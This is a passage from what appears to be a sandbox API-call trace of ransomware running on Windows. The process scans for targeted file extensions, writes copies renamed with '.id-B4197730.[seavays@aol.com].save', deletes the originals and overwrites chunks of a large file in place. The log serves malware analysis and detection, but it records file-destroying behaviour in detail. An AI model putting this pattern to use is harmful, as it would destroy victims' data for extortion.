lstrlenW (lpString=".xls") returned 4 [0052.511] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.511] lstrlenW (lpString=".xlsx") returned 5 [0052.511] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0052.511] lstrlenW (lpString=".ppt") returned 4 [0052.511] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0052.511] lstrlenW (lpString=".zip") returned 4 [0052.511] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.511] lstrlenW (lpString=".rar") returned 4 [0052.511] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.511] lstrlenW (lpString=".bz2") returned 4 [0052.512] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.512] lstrlenW (lpString=".7z") returned 3 [0052.512] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0052.512] lstrlenW (lpString=".dbf") returned 4 [0052.512] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0052.512] lstrlenW (lpString=".1cd") returned 4 [0052.512] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0052.512] lstrlenW (lpString=".jpg") returned 4 [0052.512] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0052.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0052.512] lstrlenW (lpString=".doc") returned 4 [0052.512] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.512] lstrlenW (lpString=".docx") returned 5 [0052.512] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0052.512] lstrlenW (lpString=".pdf") returned 4 [0052.512] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.512] lstrlenW (lpString=".xls") returned 4 [0052.512] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.512] lstrlenW (lpString=".xlsx") returned 5 [0052.512] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0052.512] lstrlenW (lpString=".ppt") returned 4 [0052.512] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0052.512] lstrlenW (lpString=".zip") returned 4 [0052.512] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.512] lstrlenW (lpString=".rar") returned 4 [0052.512] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.512] lstrlenW (lpString=".bz2") returned 4 [0052.512] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.513] lstrlenW (lpString=".7z") returned 3 [0052.513] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.513] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0052.513] lstrlenW (lpString=".dbf") returned 4 [0052.513] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.513] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0052.513] lstrlenW (lpString=".1cd") returned 4 [0052.513] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.513] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0052.513] lstrlenW (lpString=".jpg") returned 4 [0052.513] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.513] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.513] lstrlenW (lpString="SysReqMet.ico") returned 13 [0052.513] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0052.513] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=1150) returned 1 [0052.513] CloseHandle (hObject=0x2f8) returned 1 [0052.513] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0052.513] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.514] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0052.514] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.514] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.514] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0052.514] GetLastError () returned 0x0 [0052.514] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x47e, lpOverlapped=0x0) returned 1 [0052.515] WriteFile (in: hFile=0x340, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x480, lpOverlapped=0x0) returned 1 [0052.516] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.516] WriteFile (in: hFile=0x340, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xee, lpOverlapped=0x0) returned 1 [0052.516] SetEndOfFile (hFile=0x340) returned 1 [0052.517] CloseHandle (hObject=0x340) returned 1 [0052.518] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.518] SetEndOfFile (hFile=0x2f8) returned 1 [0052.518] CloseHandle (hObject=0x2f8) returned 1 [0052.518] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.519] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0052.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0052.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0052.519] lstrlenW (lpString=".doc") returned 4 [0052.519] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.519] lstrlenW (lpString=".docx") returned 5 [0052.519] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0052.519] lstrlenW (lpString=".pdf") returned 4 [0052.519] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.519] lstrlenW (lpString=".xls") returned 4 [0052.519] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.519] lstrlenW (lpString=".xlsx") returned 5 [0052.519] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0052.519] lstrlenW (lpString=".ppt") returned 4 [0052.519] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0052.519] lstrlenW (lpString=".zip") returned 4 [0052.519] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.519] lstrlenW (lpString=".rar") returned 4 [0052.519] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.519] lstrlenW (lpString=".bz2") returned 4 [0052.519] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.520] lstrlenW (lpString=".7z") returned 3 [0052.520] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0052.520] lstrlenW (lpString=".dbf") returned 4 [0052.520] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0052.520] lstrlenW (lpString=".1cd") returned 4 [0052.520] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0052.520] lstrlenW (lpString=".jpg") returned 4 [0052.520] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0052.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0052.520] lstrlenW (lpString=".doc") returned 4 [0052.520] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.520] lstrlenW (lpString=".docx") returned 5 [0052.520] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0052.520] lstrlenW (lpString=".pdf") returned 4 [0052.520] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.520] lstrlenW (lpString=".xls") returned 4 [0052.520] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.520] lstrlenW (lpString=".xlsx") returned 5 [0052.520] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0052.520] lstrlenW (lpString=".ppt") returned 4 [0052.520] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0052.520] lstrlenW (lpString=".zip") returned 4 [0052.520] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.520] lstrlenW (lpString=".rar") returned 4 [0052.520] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.520] lstrlenW (lpString=".bz2") returned 4 [0052.521] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.521] lstrlenW (lpString=".7z") returned 3 [0052.521] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0052.521] lstrlenW (lpString=".dbf") returned 4 [0052.521] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0052.521] lstrlenW (lpString=".1cd") returned 4 [0052.521] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0052.521] lstrlenW (lpString=".jpg") returned 4 [0052.521] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.521] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.521] lstrlenW (lpString="SysReqNotMet.ico") returned 16 [0052.521] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0052.521] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=1150) returned 1 [0052.521] CloseHandle (hObject=0x2f8) returned 1 [0052.521] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0052.521] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.522] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0052.522] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.522] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.522] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0052.522] GetLastError () returned 0x0 [0052.522] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x47e, lpOverlapped=0x0) returned 1 [0053.036] WriteFile (in: hFile=0x340, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x480, lpOverlapped=0x0) returned 1 [0053.036] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0053.037] WriteFile (in: hFile=0x340, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf4, lpOverlapped=0x0) returned 1 [0053.037] SetEndOfFile (hFile=0x340) returned 1 [0053.037] CloseHandle (hObject=0x340) returned 1 [0053.037] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.038] SetEndOfFile (hFile=0x2f8) returned 1 [0053.038] CloseHandle (hObject=0x2f8) returned 1 [0053.038] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.039] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0053.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0053.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0053.039] lstrlenW (lpString=".doc") returned 4 [0053.039] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0053.039] lstrlenW (lpString=".docx") returned 5 [0053.039] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0053.039] lstrlenW (lpString=".pdf") returned 4 [0053.039] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0053.039] lstrlenW (lpString=".xls") returned 4 [0053.039] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0053.039] lstrlenW (lpString=".xlsx") returned 5 [0053.039] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0053.039] lstrlenW (lpString=".ppt") returned 4 [0053.039] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0053.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0053.039] lstrlenW (lpString=".zip") returned 4 [0053.040] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0053.040] lstrlenW (lpString=".rar") returned 4 [0053.040] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0053.040] lstrlenW (lpString=".bz2") returned 4 [0053.040] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0053.040] lstrlenW (lpString=".7z") returned 3 [0053.040] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0053.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0053.040] lstrlenW (lpString=".dbf") returned 4 [0053.040] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0053.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0053.040] lstrlenW (lpString=".1cd") returned 4 [0053.040] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0053.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0053.040] lstrlenW (lpString=".jpg") returned 4 [0053.040] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0053.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0053.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0053.040] lstrlenW (lpString=".doc") returned 4 [0053.040] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0053.040] lstrlenW (lpString=".docx") returned 5 [0053.040] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0053.040] lstrlenW (lpString=".pdf") returned 4 [0053.040] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0053.040] lstrlenW (lpString=".xls") returned 4 [0053.040] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0053.040] lstrlenW (lpString=".xlsx") returned 5 [0053.040] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0053.040] lstrlenW (lpString=".ppt") returned 4 [0053.040] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0053.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0053.041] lstrlenW (lpString=".zip") returned 4 [0053.041] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0053.041] lstrlenW (lpString=".rar") returned 4 [0053.041] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0053.041] lstrlenW (lpString=".bz2") returned 4 [0053.041] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0053.041] lstrlenW (lpString=".7z") returned 3 [0053.041] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0053.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0053.041] lstrlenW (lpString=".dbf") returned 4 [0053.041] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0053.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0053.041] lstrlenW (lpString=".1cd") returned 4 [0053.041] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0053.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0053.041] lstrlenW (lpString=".jpg") returned 4 [0053.041] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0053.041] lstrcmpiW (lpString1=".mzz", lpString2=".save") returned -1 [0053.041] lstrlenW (lpString="netfx_Extended.mzz") returned 18 [0053.041] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0053.042] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=43131591) returned 1 [0053.042] CloseHandle (hObject=0x2f8) returned 1 [0053.042] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0053.042] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.042] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[seavays@aol.com].save")) returned 1 [0053.042] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0053.043] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc64 | out: lpNewFilePointer=0x0) returned 1 [0053.043] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc24 | out: lpNewFilePointer=0x0) returned 1 [0053.043] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc30, lpOverlapped=0x0 | out: lpBuffer=0x39ea058*, lpNumberOfBytesRead=0x2ecfc30*=0x40000, lpOverlapped=0x0) returned 1 [0053.047] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc24 | out: lpNewFilePointer=0x0) returned 1 [0053.048] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a2a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc30, lpOverlapped=0x0 | out: lpBuffer=0x3a2a058*, lpNumberOfBytesRead=0x2ecfc30*=0x40000, lpOverlapped=0x0) returned 1 [0053.053] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0053.053] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc24 | out: lpNewFilePointer=0x0) returned 1 [0053.053] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a6a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc30, lpOverlapped=0x0 | out: lpBuffer=0x3a6a058*, lpNumberOfBytesRead=0x2ecfc30*=0x40000, lpOverlapped=0x0) returned 1 [0053.072] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.072] WriteFile (in: hFile=0x2f8, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2ecfca8, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfca8*=0xc0110, lpOverlapped=0x0) returned 1 [0053.965] SetEndOfFile (hFile=0x2f8) returned 1 [0053.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x42d3f80 [0053.971] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc74 | out: lpNewFilePointer=0x0) returned 1 [0053.971] WriteFile (in: hFile=0x2f8, lpBuffer=0x42d3f80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc80, lpOverlapped=0x0 | out: lpBuffer=0x42d3f80*, lpNumberOfBytesWritten=0x2ecfc80*=0x40000, lpOverlapped=0x0) returned 1 [0053.972] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc74 | out: lpNewFilePointer=0x0) returned 1 [0053.973] WriteFile (in: hFile=0x2f8, lpBuffer=0x42d3f80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc80, lpOverlapped=0x0 | out: lpBuffer=0x42d3f80*, lpNumberOfBytesWritten=0x2ecfc80*=0x40000, lpOverlapped=0x0) returned 1 [0054.622] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc74 | out: lpNewFilePointer=0x0) returned 1 [0054.622] WriteFile (in: hFile=0x2f8, lpBuffer=0x42d3f80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc80, lpOverlapped=0x0 | out: lpBuffer=0x42d3f80*, lpNumberOfBytesWritten=0x2ecfc80*=0x40000, lpOverlapped=0x0) returned 1 [0054.624] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.627] CloseHandle (hObject=0x2f8) returned 1 [0058.442] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0058.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0058.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0058.443] lstrlenW (lpString=".doc") returned 4 [0058.443] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0058.443] lstrlenW (lpString=".docx") returned 5 [0058.443] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0058.443] lstrlenW (lpString=".pdf") returned 4 [0058.443] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0058.443] lstrlenW (lpString=".xls") returned 4 [0058.443] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0058.443] lstrlenW (lpString=".xlsx") returned 5 [0058.443] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0058.443] lstrlenW (lpString=".ppt") returned 4 [0058.443] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0058.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0058.443] lstrlenW (lpString=".zip") returned 4 [0058.443] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 